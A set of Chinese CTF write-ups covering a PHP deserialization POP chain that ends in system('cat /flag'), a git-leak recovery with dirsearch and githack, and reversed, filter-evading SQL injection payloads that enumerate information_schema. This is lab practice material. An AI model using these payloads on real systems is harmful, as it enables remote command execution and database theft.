[FSCTF 2023]ez_php2
比较简单的pop链
<?php
highlight_file(__file__);
Class Rd{public $ending;public $cl;public $poc;public function __destruct(){echo "All matters have concluded";die($this->ending);}public function __call($name, $arg){foreach ($arg as $key =>$value){if($arg[0]['POC']=="1111"){echo "1";$this->cl->var1 = "system";}}}
}class Poc{public $payload;public $fun;public function __set($name, $value){$this->payload = $name;$this->fun = $value;}function getflag($paylaod){echo "Have you genuinely accomplished what you set out to do?";file_get_contents($paylaod);}
}class Er{public $symbol;public $Flag;public function __construct(){$this->symbol = True;}public function __set($name, $value){$value($this->Flag);}}
确定链尾,反推pop链 ,主要还是区分set和call的触发条件,来调用魔术方法
最终的链子
Ha __destr-> Rd __call -> Er __set
最终的代码
<?php
class Rd{public $ending;public $cl;public $poc;
}
class Poc{public $payload = ['POC'=>'1111'];public $fun;
}
class Er{public $symbol;public $Flag;
}
class Ha{public $start;public $start1;public $start2;
}
$a = new Ha;
$b = new Poc;
$a->start2 = "11111";
$a->start1 = new Rd;
$a->start = $b->payload;
$a->start1->cl = new Er;
$a->start1->cl->Flag = 'cat /flag';
echo serialize($a);
[NCTF 2018]全球最大交友网站
git泄露
git show一下就行
dirsearch扫描一下,发现git
用githack clone一下
git log
git show,给了一个提示和假flag
告诉了flag应该在tag==1.0的commit里面,但是我直接把三个commit查看了一遍就找到了
[UUCTF 2022 新生赛]ezsql
进入靶场,看见登录框,尝试SQL注入
存在sql注入,应该是两个地方都存在注入点,那么进行闭合
很奇怪注释符跑前面去了,用一个字符串试试
哦,是倒序了,用脚本把sql语句进行倒序排列
import base64strA = input()
strB = strA[::-1]print(strB)
爆字段数没有回显,看了wp发现or被过滤了,那么可以用group by来爆,也可以用union select来尝试(这里是两列)
#2,1 tceles noinu )'1-
爆库名(这里如果是在usename进行的注入,就把回显位放在1上)
#2,)(esabatad tceles noinu )'1-
爆表
#'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1-
爆字段
#'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1-
查询字段内容
#galf moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1-